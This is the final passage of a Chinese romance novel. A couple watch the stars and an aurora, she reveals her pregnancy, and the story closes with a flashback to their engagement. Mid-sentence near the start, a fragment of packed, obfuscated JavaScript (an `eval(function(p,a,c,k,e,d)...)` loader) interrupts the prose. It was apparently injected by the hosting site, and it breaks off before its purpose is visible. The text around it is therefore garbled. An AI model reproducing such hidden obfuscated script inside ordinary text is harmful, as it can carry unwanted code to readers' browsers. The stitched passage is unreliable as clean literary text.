“好在现在还不晚,没错过落日余晖。”她孩子气地抬手指向坠入河流大半面的金乌,“绯红色,像极了溏心蛋。” “看来是饿了。”霍辞懂她的潜台词,把人松开,专心烤几串她爱吃的里脊和土豆,宁姿也拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看来我的摄影技术不错。”他语气轻快。 宁姿的目光没有从星空收回,笑容渐渐扩大,“没有技术可言,不过是星空本来就美,还有……那时候我们不够熟悉,没想到军训受伤,你竟千里迢迢赶回来,还带了溶河的星空照。回想起那一刻,依然忍不住心动。” “那时,你说想亲眼看,如今实现了,对这趟旅行安排还满意吗?” “每次你都让我惊喜。”宁姿的视线落在他脸上,双眼清亮。 “你早已给我一生里最盛大的惊喜。”霍辞走到她身后,胸膛贴紧她的背,双臂自身后拥住纤细的腰肢,宁姿靠在他的怀里,双手抚摸他的手背。霍辞亲吻她的耳廓,呼吸缠绵,吻到她清明的眼神化作迷离与无措,沉溺于他的温柔中。 “那是什么?”宁姿陡然间抽离,打断暧昧的耳鬓厮磨。 霍辞恼得故意咬了下她的耳垂,听到她抽痛的轻呼声,这才随着她的视线抬起头。斑斓的色彩仿若给星空画卷添上一层美轮美奂的轻纱,在夜空里尽情舞动,仿佛神迹现世,瑰丽得令人惊叹。沐浴在这绚丽的奇景下,宁姿陶醉无比。 霍辞也有些惊讶,“极光。” “好幸运,我们看见极光了!”得到答案的她兴奋无比,抬起双手圈在唇边朝着天空呐喊,忽然想起什么,声音又低下去,“可惜,相机放在酒店,用手机拍,像素差很多。” “不用拍,喜欢极光,以后我们俩每年都来看。”霍辞揉了揉她的发顶,安慰道。 “不是我们俩,是三个。”她抿唇一笑,凑近他耳边轻声说,“我有了。” 霍辞眼眸里闪过一丝茫然,怔愣许久,问:“有什么?” “字面意思。”宁姿觉得他傻乎乎的,学着他的习惯性动作抬起手重重揉了下他的发顶,却被反捉住手,缓缓拿下,握在他的掌心里。 “孩子来到我们身边了吗?”霍辞锋利的喉结上下一动,问。 得知这个消息,第一反应是难以置信,紧接着被浪潮般铺天盖地席卷而来的欣喜所淹没,同时伴随的还有极致的紧张与畏惧。他的唇抿作一条直线,手指发凉,隐约颤抖。 宁姿懂得他的心境,反手握紧他的手指,柔声细语道:“他的妈妈会犯错,但知错能改,会用心体贴他的思想与感情,陪他一起成长。他的爸爸温柔又强大,是最好的启蒙老师,也是坚实的依靠。孩子会活出独特又精彩的人生,因为我们一直在身边支持他。” 霍辞的心口被温热填满,眼圈发烫,郑重地点了下头,“有你在,我相信一切都会很美好。就像很多年以前,一个女孩闯入我原本黯淡的人生,从此漫无边际的黑夜现出极光,斑斓晖色洒满每一处角落。” 秀美的女人眼睫轻颤一下,踮起脚亲吻他的唇。耳畔是流水治愈的天籁之音,轻缓而柔和,幕空中星辉与极光的艳色交织错落。他们亲密无间,浪漫的环境之下,感官被放大到极致,周围被她清雅的气息萦绕,水般温柔包裹他。 宁姿不知道的是,很多年前,霍辞第一次来溶河出差,那时的他还不是现在的知名企业家,只是一个咬紧牙立志闯出一番天地的年轻人,吃苦耐劳,勤奋钻研,屡次亲自下工地考察。 有一回遭遇意外事故,跌入很深的矿洞里,手机没信号,被人发现救起之前在里面呆了一整夜。他强迫自己冷静下来,洞口狭窄,抬起头连星空都看不到,于是他盯着手机的屏保,是一张女孩背影的照片,那便成为照亮希望的启明星。 照片里的场景发生在一个阳光浓郁的下午,女孩刚成为他的未婚妻,两人一前一后漫步在霍家老宅古韵的长廊。 那时,眉眼稍显稚嫩的宁姿说:“不要有压力,只是一路同行,有一天,我俩会强大到其他人只能仰视。” 那时的霍辞头发略长,埋下脸时遮住眉眼,窥不清里面的情绪,他沉默了许久,从鼻端发出一声低沉的“嗯”。 女孩满意地朝前走,男人沉默地跟在她身后,细心地注意不踩到她的影子。 日光倾城,泄入廊中,将女孩纤瘦的背影簇拥起。霍辞顿住脚步,鬼使神差地拿出手机拍下这张照片。女孩似有所感,回过头看他,霍辞匆促地收起手机。 “怎么走那么慢?”宁姿不明所以。 霍辞收起慌乱的神色,淡声说:“一起走。” 他追上两步到她身边,握住她纤细柔嫩的手。对方眸中闪过一分错愕,却没挣脱。 背影变作并肩的两道,被淹没在盛大的暖色里。 那时的他们尚且不知后来的种种境遇,只纯粹感受到,原来相握的手可以那么暖。 (全文完)